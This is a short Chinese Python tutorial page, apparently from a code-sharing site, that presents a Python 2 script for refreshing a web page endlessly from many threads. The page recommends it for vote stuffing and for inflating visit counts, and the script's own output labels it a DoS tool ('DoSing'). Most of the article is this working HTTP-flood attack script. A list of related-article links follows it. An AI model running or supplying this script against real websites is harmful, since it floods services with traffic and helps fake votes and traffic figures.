python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python获取apk文件URL地址实例
Nov 01 Python
Python爬虫之正则表达式基本用法实例分析
Aug 08 Python
在PyCharm中三步完成PyPy解释器的配置的方法
Oct 29 Python
[原创]Python入门教程2. 字符串基本操作【运算、格式化输出、常用函数】
Oct 29 Python
python将list转为matrix的方法
Dec 12 Python
django-rest-swagger的优化使用方法
Aug 29 Python
基于python2.7实现图形密码生成器的实例代码
Nov 05 Python
基于python及pytorch中乘法的使用详解
Dec 27 Python
Python tkinter三种布局实例详解
Jan 06 Python
python实现人机猜拳小游戏
Feb 03 Python
pandas分批读取大数据集教程
Jun 06 Python
python实现自动化群控的步骤
Apr 11 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
php分页函数
2006/07/08 PHP
PHPMailer使用教程(PHPMailer发送邮件实例分析)
2012/12/06 PHP
ThinkPHP3.1新特性之Action参数绑定
2014/06/19 PHP
php建立Ftp连接的方法
2015/03/07 PHP
脚本吧 - 幻宇工作室用到js,超强推荐expand.js
2006/12/23 Javascript
jQuery 技巧小结
2010/04/02 Javascript
Jquery ui css framework
2010/06/28 Javascript
js change,propertychange,input事件小议
2011/12/20 Javascript
extjs ColumnChart设置不同的颜色实现代码
2013/05/17 Javascript
不定义JQuery插件 不要说会JQuery
2016/03/07 Javascript
JS验证不重复验证码
2017/02/10 Javascript
jquery append与appendTo方法比较
2017/05/24 jQuery
Angular5.1新功能分享
2017/12/21 Javascript
解决layui表格的表头不滚动的问题
2019/09/04 Javascript
浅谈JavaScript中this的指向更改
2020/07/28 Javascript
[02:32]“虐狗”镜头慎点 2016国际邀请赛中国区预选赛现场玩家采访
2016/06/28 DOTA
Python的爬虫程序编写框架Scrapy入门学习教程
2016/07/02 Python
python中requests使用代理proxies方法介绍
2017/10/25 Python
python求质数的3种方法
2018/09/28 Python
python批量获取html内body内容的实例
2019/01/02 Python
Python 处理文件的几种方式
2019/08/23 Python
python中count函数简单用法
2020/01/05 Python
Python基础类继承重写实现原理解析
2020/04/03 Python
Python网页解析器使用实例详解
2020/05/30 Python
pycharm 使用tab跳出正在编辑的括号(){}{}等问题
2021/02/26 Python
data:image data url 文件转为Blob上传后端的方法
2019/07/16 HTML / CSS
纽约市的奢华内衣目的地:Anya Lust
2019/08/02 全球购物
介绍一下JMS编程步骤
2015/09/22 面试题
综合素质的自我鉴定
2013/10/07 职场文书
土木工程专业推荐信
2014/02/19 职场文书
村居抓节水倡议书
2014/05/19 职场文书
国家税务局干部作风整顿整改措施
2014/09/18 职场文书
硕士学位申请报告
2015/05/15 职场文书
消防演习感想
2015/08/10 职场文书
2015元旦感言
2015/12/09 职场文书
MySQL 原理与优化之Limit 查询优化
2022/08/14 MySQL